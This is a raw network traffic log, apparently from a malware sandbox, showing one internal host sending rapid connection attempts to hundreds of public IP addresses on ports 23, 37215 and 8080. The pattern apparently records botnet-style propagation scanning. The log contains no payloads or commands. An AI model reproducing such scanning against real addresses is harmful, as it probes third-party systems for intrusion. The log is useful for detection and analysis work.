Nov 23, 2023 05:14:49.598694086 CET	55738	23	192.168.2.13	70.8.66.35
Nov 23, 2023 05:14:49.598696947 CET	55738	23	192.168.2.13	42.29.138.70
Nov 23, 2023 05:14:49.598705053 CET	55738	23	192.168.2.13	106.84.6.61
Nov 23, 2023 05:14:49.598738909 CET	55738	23	192.168.2.13	133.118.105.116
Nov 23, 2023 05:14:49.598738909 CET	55738	23	192.168.2.13	23.112.1.203
Nov 23, 2023 05:14:49.598752975 CET	55738	23	192.168.2.13	179.184.129.145
Nov 23, 2023 05:14:49.598762035 CET	55738	23	192.168.2.13	80.196.55.253
Nov 23, 2023 05:14:49.598768950 CET	55738	23	192.168.2.13	157.174.78.214
Nov 23, 2023 05:14:49.598768950 CET	55738	23	192.168.2.13	248.237.38.104
Nov 23, 2023 05:14:49.598772049 CET	55738	23	192.168.2.13	220.107.228.55
Nov 23, 2023 05:14:49.598789930 CET	55738	23	192.168.2.13	219.163.161.241
Nov 23, 2023 05:14:49.598792076 CET	55738	23	192.168.2.13	242.25.244.148
Nov 23, 2023 05:14:49.598810911 CET	55738	23	192.168.2.13	145.204.45.23
Nov 23, 2023 05:14:49.598810911 CET	55738	23	192.168.2.13	87.133.34.193
Nov 23, 2023 05:14:49.598810911 CET	55738	23	192.168.2.13	242.182.24.126
Nov 23, 2023 05:14:49.598820925 CET	54970	37215	192.168.2.13	156.113.135.249
Nov 23, 2023 05:14:49.598820925 CET	54970	37215	192.168.2.13	197.56.231.159
Nov 23, 2023 05:14:49.598822117 CET	54970	37215	192.168.2.13	156.51.49.121
Nov 23, 2023 05:14:49.598824978 CET	55738	23	192.168.2.13	39.217.57.94
Nov 23, 2023 05:14:49.598824978 CET	55738	23	192.168.2.13	175.68.134.197
Nov 23, 2023 05:14:49.598824978 CET	55738	23	192.168.2.13	36.84.151.222
Nov 23, 2023 05:14:49.598828077 CET	54970	37215	192.168.2.13	156.254.88.148
Nov 23, 2023 05:14:49.598828077 CET	54970	37215	192.168.2.13	197.214.178.187
Nov 23, 2023 05:14:49.598828077 CET	55738	23	192.168.2.13	135.196.161.233
Nov 23, 2023 05:14:49.598833084 CET	54970	37215	192.168.2.13	197.202.97.238
Nov 23, 2023 05:14:49.598834038 CET	54970	37215	192.168.2.13	41.139.130.42
Nov 23, 2023 05:14:49.598834991 CET	55738	23	192.168.2.13	90.160.146.37
Nov 23, 2023 05:14:49.598834991 CET	55738	23	192.168.2.13	223.126.8.42
Nov 23, 2023 05:14:49.598840952 CET	55738	23	192.168.2.13	14.98.177.141
Nov 23, 2023 05:14:49.598840952 CET	54970	37215	192.168.2.13	197.176.54.138
Nov 23, 2023 05:14:49.598840952 CET	55738	23	192.168.2.13	142.179.141.238
Nov 23, 2023 05:14:49.598850965 CET	54970	37215	192.168.2.13	156.27.60.249
Nov 23, 2023 05:14:49.598855019 CET	54970	37215	192.168.2.13	41.102.185.170
Nov 23, 2023 05:14:49.598877907 CET	54970	37215	192.168.2.13	197.4.1.254
Nov 23, 2023 05:14:49.598879099 CET	55738	23	192.168.2.13	211.42.16.33
Nov 23, 2023 05:14:49.598881960 CET	55738	23	192.168.2.13	216.197.40.37
Nov 23, 2023 05:14:49.598881960 CET	55738	23	192.168.2.13	124.58.170.15
Nov 23, 2023 05:14:49.598886967 CET	54970	37215	192.168.2.13	197.16.153.172
Nov 23, 2023 05:14:49.598889112 CET	55738	23	192.168.2.13	96.24.103.186
Nov 23, 2023 05:14:49.598892927 CET	54970	37215	192.168.2.13	41.249.252.194
Nov 23, 2023 05:14:49.598892927 CET	54970	37215	192.168.2.13	156.40.110.49
Nov 23, 2023 05:14:49.598895073 CET	55738	23	192.168.2.13	106.133.127.104
Nov 23, 2023 05:14:49.598895073 CET	55738	23	192.168.2.13	147.89.53.177
Nov 23, 2023 05:14:49.598895073 CET	54970	37215	192.168.2.13	156.110.94.181
Nov 23, 2023 05:14:49.598895073 CET	55738	23	192.168.2.13	184.136.194.11
Nov 23, 2023 05:14:49.598901987 CET	54970	37215	192.168.2.13	41.14.132.243
Nov 23, 2023 05:14:49.598901987 CET	54970	37215	192.168.2.13	41.58.185.147
Nov 23, 2023 05:14:49.598901987 CET	54970	37215	192.168.2.13	41.236.192.179
Nov 23, 2023 05:14:49.598902941 CET	54970	37215	192.168.2.13	41.15.173.145
Nov 23, 2023 05:14:49.598912954 CET	55738	23	192.168.2.13	116.246.155.1
Nov 23, 2023 05:14:49.598926067 CET	54970	37215	192.168.2.13	197.10.220.97
Nov 23, 2023 05:14:49.598929882 CET	54970	37215	192.168.2.13	197.188.103.39
Nov 23, 2023 05:14:49.598929882 CET	54970	37215	192.168.2.13	156.16.11.171
Nov 23, 2023 05:14:49.598932981 CET	55738	23	192.168.2.13	177.34.96.182
Nov 23, 2023 05:14:49.598936081 CET	54970	37215	192.168.2.13	41.3.8.93
Nov 23, 2023 05:14:49.598937035 CET	54970	37215	192.168.2.13	197.82.22.186
Nov 23, 2023 05:14:49.598937035 CET	54970	37215	192.168.2.13	197.72.12.133
Nov 23, 2023 05:14:49.598937035 CET	54970	37215	192.168.2.13	41.225.227.129
Nov 23, 2023 05:14:49.598937035 CET	54970	37215	192.168.2.13	156.107.72.107
Nov 23, 2023 05:14:49.598943949 CET	55738	23	192.168.2.13	81.64.168.38
Nov 23, 2023 05:14:49.598956108 CET	54970	37215	192.168.2.13	41.201.173.232
Nov 23, 2023 05:14:49.598958015 CET	55738	23	192.168.2.13	246.161.63.255
Nov 23, 2023 05:14:49.598962069 CET	54970	37215	192.168.2.13	156.228.193.213
Nov 23, 2023 05:14:49.598970890 CET	54970	37215	192.168.2.13	197.192.108.0
Nov 23, 2023 05:14:49.598970890 CET	54970	37215	192.168.2.13	41.123.72.193
Nov 23, 2023 05:14:49.598974943 CET	55738	23	192.168.2.13	83.230.126.51
Nov 23, 2023 05:14:49.598970890 CET	55738	23	192.168.2.13	221.118.173.146
Nov 23, 2023 05:14:49.598973036 CET	54970	37215	192.168.2.13	41.206.193.123
Nov 23, 2023 05:14:49.598970890 CET	55738	23	192.168.2.13	9.3.69.36
Nov 23, 2023 05:14:49.598974943 CET	55738	23	192.168.2.13	159.222.123.18
Nov 23, 2023 05:14:49.598979950 CET	54970	37215	192.168.2.13	197.202.249.105
Nov 23, 2023 05:14:49.598973036 CET	55738	23	192.168.2.13	114.82.218.183
Nov 23, 2023 05:14:49.598987103 CET	54970	37215	192.168.2.13	156.140.206.95
Nov 23, 2023 05:14:49.598987103 CET	54970	37215	192.168.2.13	197.228.63.27
Nov 23, 2023 05:14:49.598992109 CET	55738	23	192.168.2.13	68.35.21.186
Nov 23, 2023 05:14:49.598994017 CET	55738	23	192.168.2.13	189.92.117.150
Nov 23, 2023 05:14:49.598997116 CET	54970	37215	192.168.2.13	197.225.9.252
Nov 23, 2023 05:14:49.598998070 CET	55738	23	192.168.2.13	78.55.50.237
Nov 23, 2023 05:14:49.598998070 CET	54970	37215	192.168.2.13	41.225.249.85
Nov 23, 2023 05:14:49.598999977 CET	55738	23	192.168.2.13	87.247.216.79
Nov 23, 2023 05:14:49.599006891 CET	55738	23	192.168.2.13	150.178.87.235
Nov 23, 2023 05:14:49.599006891 CET	54970	37215	192.168.2.13	41.185.170.231
Nov 23, 2023 05:14:49.599006891 CET	54970	37215	192.168.2.13	41.237.122.43
Nov 23, 2023 05:14:49.599009037 CET	54970	37215	192.168.2.13	41.193.254.43
Nov 23, 2023 05:14:49.599009037 CET	54970	37215	192.168.2.13	41.74.98.38
Nov 23, 2023 05:14:49.599015951 CET	55738	23	192.168.2.13	106.110.58.87
Nov 23, 2023 05:14:49.599015951 CET	54970	37215	192.168.2.13	41.90.154.9
Nov 23, 2023 05:14:49.599015951 CET	54970	37215	192.168.2.13	41.87.16.231
Nov 23, 2023 05:14:49.599016905 CET	55738	23	192.168.2.13	45.188.235.164
Nov 23, 2023 05:14:49.599023104 CET	54970	37215	192.168.2.13	156.225.6.34
Nov 23, 2023 05:14:49.599023104 CET	55738	23	192.168.2.13	176.160.252.133
Nov 23, 2023 05:14:49.599023104 CET	55738	23	192.168.2.13	98.247.163.13
Nov 23, 2023 05:14:49.599033117 CET	54970	37215	192.168.2.13	156.84.123.145
Nov 23, 2023 05:14:49.599033117 CET	54970	37215	192.168.2.13	197.225.234.129
Nov 23, 2023 05:14:49.599034071 CET	54970	37215	192.168.2.13	156.53.116.188
Nov 23, 2023 05:14:49.599034071 CET	55738	23	192.168.2.13	251.158.188.106
Nov 23, 2023 05:14:49.599034071 CET	55738	23	192.168.2.13	82.73.178.241
Nov 23, 2023 05:14:49.599034071 CET	55738	23	192.168.2.13	197.236.68.180
Nov 23, 2023 05:14:49.599050999 CET	54970	37215	192.168.2.13	41.22.94.33
Nov 23, 2023 05:14:49.599050999 CET	54970	37215	192.168.2.13	197.154.77.106
Nov 23, 2023 05:14:49.599050999 CET	55738	23	192.168.2.13	117.31.26.215
Nov 23, 2023 05:14:49.599050999 CET	54970	37215	192.168.2.13	197.120.230.174
Nov 23, 2023 05:14:49.599055052 CET	54970	37215	192.168.2.13	41.111.73.172
Nov 23, 2023 05:14:49.599055052 CET	54970	37215	192.168.2.13	41.115.79.232
Nov 23, 2023 05:14:49.599059105 CET	55738	23	192.168.2.13	211.35.244.170
Nov 23, 2023 05:14:49.599064112 CET	54970	37215	192.168.2.13	156.226.15.209
Nov 23, 2023 05:14:49.599064112 CET	55738	23	192.168.2.13	241.176.93.249
Nov 23, 2023 05:14:49.599064112 CET	55738	23	192.168.2.13	57.243.203.87
Nov 23, 2023 05:14:49.599065065 CET	54970	37215	192.168.2.13	41.8.201.124
Nov 23, 2023 05:14:49.599064112 CET	55738	23	192.168.2.13	154.206.111.12
Nov 23, 2023 05:14:49.599064112 CET	55738	23	192.168.2.13	193.21.246.182
Nov 23, 2023 05:14:49.599070072 CET	55738	23	192.168.2.13	2.132.32.159
Nov 23, 2023 05:14:49.599076033 CET	54970	37215	192.168.2.13	156.235.103.206
Nov 23, 2023 05:14:49.599076033 CET	55738	23	192.168.2.13	27.185.135.165
Nov 23, 2023 05:14:49.599082947 CET	54970	37215	192.168.2.13	197.245.224.105
Nov 23, 2023 05:14:49.599086046 CET	55738	23	192.168.2.13	153.240.237.23
Nov 23, 2023 05:14:49.599086046 CET	54970	37215	192.168.2.13	197.87.167.197
Nov 23, 2023 05:14:49.599087000 CET	54970	37215	192.168.2.13	41.78.156.233
Nov 23, 2023 05:14:49.599100113 CET	54970	37215	192.168.2.13	197.63.134.217
Nov 23, 2023 05:14:49.599112988 CET	54970	37215	192.168.2.13	41.98.8.246
Nov 23, 2023 05:14:49.599114895 CET	55738	23	192.168.2.13	95.23.136.200
Nov 23, 2023 05:14:49.599114895 CET	54970	37215	192.168.2.13	156.19.139.216
Nov 23, 2023 05:14:49.599114895 CET	54970	37215	192.168.2.13	197.179.45.183
Nov 23, 2023 05:14:49.599118948 CET	55738	23	192.168.2.13	138.226.160.54
Nov 23, 2023 05:14:49.599118948 CET	54970	37215	192.168.2.13	197.32.187.98
Nov 23, 2023 05:14:49.599114895 CET	54970	37215	192.168.2.13	197.34.146.71
Nov 23, 2023 05:14:49.599122047 CET	55738	23	192.168.2.13	81.37.0.186
Nov 23, 2023 05:14:49.599122047 CET	55738	23	192.168.2.13	208.226.139.92
Nov 23, 2023 05:14:49.599122047 CET	55738	23	192.168.2.13	243.129.138.173
Nov 23, 2023 05:14:49.599122047 CET	54970	37215	192.168.2.13	197.28.200.174
Nov 23, 2023 05:14:49.599126101 CET	54970	37215	192.168.2.13	197.211.167.69
Nov 23, 2023 05:14:49.599123001 CET	54970	37215	192.168.2.13	41.251.210.92
Nov 23, 2023 05:14:49.599128962 CET	55738	23	192.168.2.13	102.135.38.95
Nov 23, 2023 05:14:49.599132061 CET	54970	37215	192.168.2.13	41.212.249.40
Nov 23, 2023 05:14:49.599132061 CET	54970	37215	192.168.2.13	197.64.142.182
Nov 23, 2023 05:14:49.599142075 CET	55738	23	192.168.2.13	143.44.201.145
Nov 23, 2023 05:14:49.599142075 CET	54970	37215	192.168.2.13	156.198.34.17
Nov 23, 2023 05:14:49.599143982 CET	55738	23	192.168.2.13	185.77.28.26
Nov 23, 2023 05:14:49.599144936 CET	54970	37215	192.168.2.13	41.49.92.96
Nov 23, 2023 05:14:49.599154949 CET	54970	37215	192.168.2.13	156.154.71.92
Nov 23, 2023 05:14:49.599159956 CET	54970	37215	192.168.2.13	197.168.16.134
Nov 23, 2023 05:14:49.599159956 CET	54970	37215	192.168.2.13	197.100.146.130
Nov 23, 2023 05:14:49.599164009 CET	55738	23	192.168.2.13	188.156.194.106
Nov 23, 2023 05:14:49.599164963 CET	55738	23	192.168.2.13	61.150.218.148
Nov 23, 2023 05:14:49.599164963 CET	54970	37215	192.168.2.13	197.255.206.237
Nov 23, 2023 05:14:49.599172115 CET	54970	37215	192.168.2.13	41.218.102.187
Nov 23, 2023 05:14:49.599172115 CET	55738	23	192.168.2.13	184.143.49.221
Nov 23, 2023 05:14:49.599174023 CET	54970	37215	192.168.2.13	41.177.99.86
Nov 23, 2023 05:14:49.599174023 CET	54970	37215	192.168.2.13	197.82.236.34
Nov 23, 2023 05:14:49.599185944 CET	54970	37215	192.168.2.13	156.9.86.66
Nov 23, 2023 05:14:49.599195004 CET	55738	23	192.168.2.13	83.19.75.178
Nov 23, 2023 05:14:49.599195004 CET	55738	23	192.168.2.13	143.29.172.6
Nov 23, 2023 05:14:49.599200010 CET	54970	37215	192.168.2.13	156.8.80.113
Nov 23, 2023 05:14:49.599200010 CET	55738	23	192.168.2.13	150.0.79.170
Nov 23, 2023 05:14:49.599200010 CET	54970	37215	192.168.2.13	156.100.208.27
Nov 23, 2023 05:14:49.599200010 CET	54970	37215	192.168.2.13	197.199.125.5
Nov 23, 2023 05:14:49.599206924 CET	54970	37215	192.168.2.13	197.89.226.252
Nov 23, 2023 05:14:49.599206924 CET	55738	23	192.168.2.13	190.50.169.231
Nov 23, 2023 05:14:49.599208117 CET	55738	23	192.168.2.13	105.158.245.146
Nov 23, 2023 05:14:49.599208117 CET	55738	23	192.168.2.13	243.101.111.197
Nov 23, 2023 05:14:49.599206924 CET	55738	23	192.168.2.13	18.11.85.231
Nov 23, 2023 05:14:49.599210024 CET	54970	37215	192.168.2.13	156.255.55.3
Nov 23, 2023 05:14:49.599220037 CET	55738	23	192.168.2.13	220.70.91.196
Nov 23, 2023 05:14:49.599220037 CET	54970	37215	192.168.2.13	156.38.2.150
Nov 23, 2023 05:14:49.599232912 CET	55738	23	192.168.2.13	253.198.201.31
Nov 23, 2023 05:14:49.599232912 CET	54970	37215	192.168.2.13	156.6.204.19
Nov 23, 2023 05:14:49.599234104 CET	54970	37215	192.168.2.13	156.45.42.158
Nov 23, 2023 05:14:49.599234104 CET	54970	37215	192.168.2.13	197.25.39.129
Nov 23, 2023 05:14:49.599234104 CET	55738	23	192.168.2.13	40.0.168.25
Nov 23, 2023 05:14:49.599232912 CET	55738	23	192.168.2.13	47.106.36.109
Nov 23, 2023 05:14:49.599236965 CET	54970	37215	192.168.2.13	156.42.166.19
Nov 23, 2023 05:14:49.599234104 CET	54970	37215	192.168.2.13	156.252.137.228
Nov 23, 2023 05:14:49.599235058 CET	54970	37215	192.168.2.13	156.36.200.5
Nov 23, 2023 05:14:49.599240065 CET	55738	23	192.168.2.13	77.50.183.90
Nov 23, 2023 05:14:49.599239111 CET	54970	37215	192.168.2.13	197.13.128.233
Nov 23, 2023 05:14:49.599235058 CET	55738	23	192.168.2.13	32.231.205.84
Nov 23, 2023 05:14:49.599232912 CET	54970	37215	192.168.2.13	197.1.84.21
Nov 23, 2023 05:14:49.599235058 CET	54970	37215	192.168.2.13	41.214.149.87
Nov 23, 2023 05:14:49.599232912 CET	54970	37215	192.168.2.13	41.230.51.76
Nov 23, 2023 05:14:49.599235058 CET	55738	23	192.168.2.13	141.222.146.54
Nov 23, 2023 05:14:49.599248886 CET	55738	23	192.168.2.13	17.107.119.207
Nov 23, 2023 05:14:49.599248886 CET	54970	37215	192.168.2.13	156.78.140.154
Nov 23, 2023 05:14:49.599248886 CET	55738	23	192.168.2.13	190.191.92.89
Nov 23, 2023 05:14:49.599248886 CET	54970	37215	192.168.2.13	156.142.149.73
Nov 23, 2023 05:14:49.599250078 CET	54970	37215	192.168.2.13	41.171.120.60
Nov 23, 2023 05:14:49.599253893 CET	54970	37215	192.168.2.13	197.148.140.211
Nov 23, 2023 05:14:49.599265099 CET	55738	23	192.168.2.13	201.10.158.253
Nov 23, 2023 05:14:49.599268913 CET	54970	37215	192.168.2.13	156.10.103.135
Nov 23, 2023 05:14:49.599268913 CET	55738	23	192.168.2.13	171.252.76.159
Nov 23, 2023 05:14:49.599271059 CET	55738	23	192.168.2.13	219.190.207.173
Nov 23, 2023 05:14:49.599277020 CET	55738	23	192.168.2.13	104.188.175.135
Nov 23, 2023 05:14:49.599277020 CET	54970	37215	192.168.2.13	41.98.102.47
Nov 23, 2023 05:14:49.599277973 CET	54970	37215	192.168.2.13	197.183.163.26
Nov 23, 2023 05:14:49.599277020 CET	55738	23	192.168.2.13	40.14.54.225
Nov 23, 2023 05:14:49.599277020 CET	55738	23	192.168.2.13	145.192.45.126
Nov 23, 2023 05:14:49.599282026 CET	54970	37215	192.168.2.13	197.186.203.188
Nov 23, 2023 05:14:49.599283934 CET	54970	37215	192.168.2.13	156.176.206.56
Nov 23, 2023 05:14:49.599283934 CET	54970	37215	192.168.2.13	156.194.2.236
Nov 23, 2023 05:14:49.599283934 CET	55738	23	192.168.2.13	54.11.76.174
Nov 23, 2023 05:14:49.599287987 CET	54970	37215	192.168.2.13	41.160.32.15
Nov 23, 2023 05:14:49.599287987 CET	55738	23	192.168.2.13	148.137.236.228
Nov 23, 2023 05:14:49.599287987 CET	54970	37215	192.168.2.13	156.249.133.189
Nov 23, 2023 05:14:49.599287987 CET	54970	37215	192.168.2.13	41.112.29.155
Nov 23, 2023 05:14:49.599287987 CET	54970	37215	192.168.2.13	41.15.60.80
Nov 23, 2023 05:14:49.599292994 CET	54970	37215	192.168.2.13	41.76.212.107
Nov 23, 2023 05:14:49.599292994 CET	55738	23	192.168.2.13	248.242.147.140
Nov 23, 2023 05:14:49.599292994 CET	54970	37215	192.168.2.13	197.222.228.250
Nov 23, 2023 05:14:49.599308014 CET	54970	37215	192.168.2.13	156.184.148.166
Nov 23, 2023 05:14:49.599308014 CET	54970	37215	192.168.2.13	156.54.142.108
Nov 23, 2023 05:14:49.599311113 CET	55738	23	192.168.2.13	1.151.109.229
Nov 23, 2023 05:14:49.599312067 CET	55738	23	192.168.2.13	185.244.223.62
Nov 23, 2023 05:14:49.599312067 CET	55738	23	192.168.2.13	150.239.255.163
Nov 23, 2023 05:14:49.599318027 CET	54970	37215	192.168.2.13	41.53.255.167
Nov 23, 2023 05:14:49.599318027 CET	54970	37215	192.168.2.13	197.235.245.94
Nov 23, 2023 05:14:49.599318027 CET	55738	23	192.168.2.13	108.47.203.184
Nov 23, 2023 05:14:49.599319935 CET	54970	37215	192.168.2.13	197.92.156.41
Nov 23, 2023 05:14:49.599319935 CET	54970	37215	192.168.2.13	41.232.133.113
Nov 23, 2023 05:14:49.599319935 CET	55738	23	192.168.2.13	80.194.58.97
Nov 23, 2023 05:14:49.599328995 CET	54970	37215	192.168.2.13	156.252.8.70
Nov 23, 2023 05:14:49.599328995 CET	54970	37215	192.168.2.13	156.190.244.88
Nov 23, 2023 05:14:49.599328995 CET	54970	37215	192.168.2.13	156.5.194.48
Nov 23, 2023 05:14:49.599339008 CET	55738	23	192.168.2.13	75.20.130.211
Nov 23, 2023 05:14:49.599339962 CET	55738	23	192.168.2.13	163.106.14.159
Nov 23, 2023 05:14:49.599345922 CET	54970	37215	192.168.2.13	197.217.31.202
Nov 23, 2023 05:14:49.599349976 CET	55738	23	192.168.2.13	98.13.26.61
Nov 23, 2023 05:14:49.599349976 CET	54970	37215	192.168.2.13	197.147.115.50
Nov 23, 2023 05:14:49.599349976 CET	54970	37215	192.168.2.13	41.166.150.25
Nov 23, 2023 05:14:49.599353075 CET	55738	23	192.168.2.13	183.179.7.139
Nov 23, 2023 05:14:49.599353075 CET	54970	37215	192.168.2.13	41.95.111.111
Nov 23, 2023 05:14:49.599360943 CET	54970	37215	192.168.2.13	156.152.112.128
Nov 23, 2023 05:14:49.599361897 CET	55738	23	192.168.2.13	123.123.162.83
Nov 23, 2023 05:14:49.599361897 CET	54970	37215	192.168.2.13	156.163.3.43
Nov 23, 2023 05:14:49.599371910 CET	54970	37215	192.168.2.13	41.144.203.157
Nov 23, 2023 05:14:49.599374056 CET	55738	23	192.168.2.13	67.145.124.94
Nov 23, 2023 05:14:49.599375963 CET	54970	37215	192.168.2.13	41.199.102.79
Nov 23, 2023 05:14:49.599376917 CET	55738	23	192.168.2.13	135.81.20.222
Nov 23, 2023 05:14:49.599376917 CET	55738	23	192.168.2.13	60.223.131.208
Nov 23, 2023 05:14:49.599376917 CET	54970	37215	192.168.2.13	41.148.187.69
Nov 23, 2023 05:14:49.599376917 CET	54970	37215	192.168.2.13	197.21.199.72
Nov 23, 2023 05:14:49.599376917 CET	55738	23	192.168.2.13	107.128.105.140
Nov 23, 2023 05:14:49.599385023 CET	54970	37215	192.168.2.13	197.121.230.109
Nov 23, 2023 05:14:49.599385023 CET	54970	37215	192.168.2.13	41.61.197.141
Nov 23, 2023 05:14:49.599385023 CET	54970	37215	192.168.2.13	197.198.53.18
Nov 23, 2023 05:14:49.599387884 CET	54970	37215	192.168.2.13	41.75.251.25
Nov 23, 2023 05:14:49.599391937 CET	55738	23	192.168.2.13	105.51.99.123
Nov 23, 2023 05:14:49.599394083 CET	54970	37215	192.168.2.13	41.154.138.106
Nov 23, 2023 05:14:49.599399090 CET	54970	37215	192.168.2.13	197.237.106.184
Nov 23, 2023 05:14:49.599399090 CET	55738	23	192.168.2.13	217.253.71.81
Nov 23, 2023 05:14:49.599401951 CET	54970	37215	192.168.2.13	156.72.128.29
Nov 23, 2023 05:14:49.599401951 CET	54970	37215	192.168.2.13	41.197.142.50
Nov 23, 2023 05:14:49.599401951 CET	54970	37215	192.168.2.13	41.5.208.222
Nov 23, 2023 05:14:49.599405050 CET	55738	23	192.168.2.13	133.214.85.0
Nov 23, 2023 05:14:49.599405050 CET	55738	23	192.168.2.13	100.57.121.240
Nov 23, 2023 05:14:49.599405050 CET	55738	23	192.168.2.13	27.185.239.230
Nov 23, 2023 05:14:49.599406958 CET	55738	23	192.168.2.13	153.160.250.107
Nov 23, 2023 05:14:49.599406958 CET	54970	37215	192.168.2.13	156.56.44.86
Nov 23, 2023 05:14:49.599416971 CET	55738	23	192.168.2.13	38.2.78.162
Nov 23, 2023 05:14:49.599416971 CET	55738	23	192.168.2.13	102.36.71.172
Nov 23, 2023 05:14:49.599417925 CET	55738	23	192.168.2.13	218.164.112.194
Nov 23, 2023 05:14:49.599417925 CET	55738	23	192.168.2.13	109.100.117.43
Nov 23, 2023 05:14:49.599417925 CET	54970	37215	192.168.2.13	156.193.121.40
Nov 23, 2023 05:14:49.599417925 CET	54970	37215	192.168.2.13	41.154.202.244
Nov 23, 2023 05:14:49.599417925 CET	54970	37215	192.168.2.13	197.211.170.216
Nov 23, 2023 05:14:49.599420071 CET	54970	37215	192.168.2.13	156.19.192.134
Nov 23, 2023 05:14:49.599420071 CET	54970	37215	192.168.2.13	41.100.238.139
Nov 23, 2023 05:14:49.599420071 CET	54970	37215	192.168.2.13	197.9.240.165
Nov 23, 2023 05:14:49.599421024 CET	54970	37215	192.168.2.13	41.247.72.252
Nov 23, 2023 05:14:49.599421024 CET	54970	37215	192.168.2.13	41.114.222.192
Nov 23, 2023 05:14:49.599426985 CET	55738	23	192.168.2.13	71.129.154.20
Nov 23, 2023 05:14:49.599426985 CET	54970	37215	192.168.2.13	41.145.130.118
Nov 23, 2023 05:14:49.599430084 CET	54970	37215	192.168.2.13	156.120.237.165
Nov 23, 2023 05:14:49.599430084 CET	54970	37215	192.168.2.13	41.228.99.208
Nov 23, 2023 05:14:49.599430084 CET	54970	37215	192.168.2.13	197.210.179.216
Nov 23, 2023 05:14:49.599437952 CET	54970	37215	192.168.2.13	156.56.19.83
Nov 23, 2023 05:14:49.599437952 CET	54970	37215	192.168.2.13	156.60.78.147
Nov 23, 2023 05:14:49.599438906 CET	54970	37215	192.168.2.13	41.254.142.156
Nov 23, 2023 05:14:49.599452972 CET	54970	37215	192.168.2.13	41.196.127.25
Nov 23, 2023 05:14:49.599455118 CET	54970	37215	192.168.2.13	156.70.222.142
Nov 23, 2023 05:14:49.599455118 CET	54970	37215	192.168.2.13	197.207.181.224
Nov 23, 2023 05:14:49.599467039 CET	54970	37215	192.168.2.13	41.63.229.6
Nov 23, 2023 05:14:49.599467039 CET	54970	37215	192.168.2.13	197.59.226.192
Nov 23, 2023 05:14:49.622129917 CET	54202	8080	192.168.2.13	62.134.188.123
Nov 23, 2023 05:14:49.622137070 CET	54202	8080	192.168.2.13	94.77.25.203
Nov 23, 2023 05:14:49.622154951 CET	54202	8080	192.168.2.13	31.173.154.227
Nov 23, 2023 05:14:49.622158051 CET	54202	8080	192.168.2.13	94.90.162.167
Nov 23, 2023 05:14:49.622158051 CET	54202	8080	192.168.2.13	94.193.18.246
Nov 23, 2023 05:14:49.622179985 CET	54202	8080	192.168.2.13	62.114.144.5
Nov 23, 2023 05:14:49.622186899 CET	54202	8080	192.168.2.13	95.32.174.60
Nov 23, 2023 05:14:49.622190952 CET	54202	8080	192.168.2.13	62.63.85.19
Nov 23, 2023 05:14:49.622190952 CET	54202	8080	192.168.2.13	85.199.162.173
Nov 23, 2023 05:14:49.622195005 CET	54202	8080	192.168.2.13	62.21.255.202
Nov 23, 2023 05:14:49.622196913 CET	54202	8080	192.168.2.13	85.247.116.101
Nov 23, 2023 05:14:49.622206926 CET	54202	8080	192.168.2.13	85.155.196.115
Nov 23, 2023 05:14:49.622210026 CET	54202	8080	192.168.2.13	95.135.164.239
Nov 23, 2023 05:14:49.622220993 CET	54202	8080	192.168.2.13	62.62.7.95
Nov 23, 2023 05:14:49.622226954 CET	54202	8080	192.168.2.13	31.199.33.72
Nov 23, 2023 05:14:49.622230053 CET	54202	8080	192.168.2.13	31.255.194.127
Nov 23, 2023 05:14:49.622242928 CET	54202	8080	192.168.2.13	94.197.194.50
Nov 23, 2023 05:14:49.622252941 CET	54202	8080	192.168.2.13	31.31.14.90
Nov 23, 2023 05:14:49.622255087 CET	54202	8080	192.168.2.13	95.233.31.239
Nov 23, 2023 05:14:49.622255087 CET	54202	8080	192.168.2.13	31.44.213.92
Nov 23, 2023 05:14:49.622255087 CET	54202	8080	192.168.2.13	31.21.35.165
Nov 23, 2023 05:14:49.622267008 CET	54202	8080	192.168.2.13	95.134.50.147
Nov 23, 2023 05:14:49.622276068 CET	54202	8080	192.168.2.13	85.120.121.33
Nov 23, 2023 05:14:49.622279882 CET	54202	8080	192.168.2.13	94.44.39.240
Nov 23, 2023 05:14:49.622294903 CET	54202	8080	192.168.2.13	94.109.9.248
Nov 23, 2023 05:14:49.622294903 CET	54202	8080	192.168.2.13	94.115.53.188
Nov 23, 2023 05:14:49.622302055 CET	54202	8080	192.168.2.13	62.4.52.250
Nov 23, 2023 05:14:49.622312069 CET	54202	8080	192.168.2.13	62.191.212.12
Nov 23, 2023 05:14:49.622312069 CET	54202	8080	192.168.2.13	85.89.229.113
Nov 23, 2023 05:14:49.622334003 CET	54202	8080	192.168.2.13	31.29.165.191
Nov 23, 2023 05:14:49.622334003 CET	54202	8080	192.168.2.13	85.201.87.165
Nov 23, 2023 05:14:49.622343063 CET	54202	8080	192.168.2.13	31.174.28.2
Nov 23, 2023 05:14:49.622345924 CET	54202	8080	192.168.2.13	95.21.30.230
Nov 23, 2023 05:14:49.622354031 CET	54202	8080	192.168.2.13	85.211.134.184
Nov 23, 2023 05:14:49.622359991 CET	54202	8080	192.168.2.13	95.239.205.189
Nov 23, 2023 05:14:49.622361898 CET	54202	8080	192.168.2.13	85.182.56.44
Nov 23, 2023 05:14:49.622374058 CET	54202	8080	192.168.2.13	85.37.105.201
Nov 23, 2023 05:14:49.622376919 CET	54202	8080	192.168.2.13	95.73.188.59
Nov 23, 2023 05:14:49.622392893 CET	54202	8080	192.168.2.13	62.210.127.199
Nov 23, 2023 05:14:49.622395039 CET	54202	8080	192.168.2.13	95.157.58.55
Nov 23, 2023 05:14:49.622395039 CET	54202	8080	192.168.2.13	62.20.11.23
Nov 23, 2023 05:14:49.622399092 CET	54202	8080	192.168.2.13	94.66.235.140
Nov 23, 2023 05:14:49.622411966 CET	54202	8080	192.168.2.13	85.105.59.242
Nov 23, 2023 05:14:49.622412920 CET	54202	8080	192.168.2.13	85.170.131.216
Nov 23, 2023 05:14:49.622416973 CET	54202	8080	192.168.2.13	62.35.26.31
Nov 23, 2023 05:14:49.622419119 CET	54202	8080	192.168.2.13	85.198.200.167
Nov 23, 2023 05:14:49.622419119 CET	54202	8080	192.168.2.13	62.247.164.229
Nov 23, 2023 05:14:49.622430086 CET	54202	8080	192.168.2.13	85.164.141.79
Nov 23, 2023 05:14:49.622438908 CET	54202	8080	192.168.2.13	62.248.254.45
Nov 23, 2023 05:14:49.622448921 CET	54202	8080	192.168.2.13	85.158.251.17
Nov 23, 2023 05:14:49.622452021 CET	54202	8080	192.168.2.13	95.64.43.195
Nov 23, 2023 05:14:49.622462034 CET	54202	8080	192.168.2.13	94.248.64.157
Nov 23, 2023 05:14:49.622467995 CET	54202	8080	192.168.2.13	85.247.54.101
Nov 23, 2023 05:14:49.622471094 CET	54202	8080	192.168.2.13	85.48.117.130
Nov 23, 2023 05:14:49.622471094 CET	54202	8080	192.168.2.13	94.199.107.132
